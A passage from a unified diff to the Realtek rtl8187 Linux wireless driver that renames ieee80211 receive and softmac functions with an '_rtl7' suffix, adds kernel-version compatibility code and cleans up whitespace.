skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; 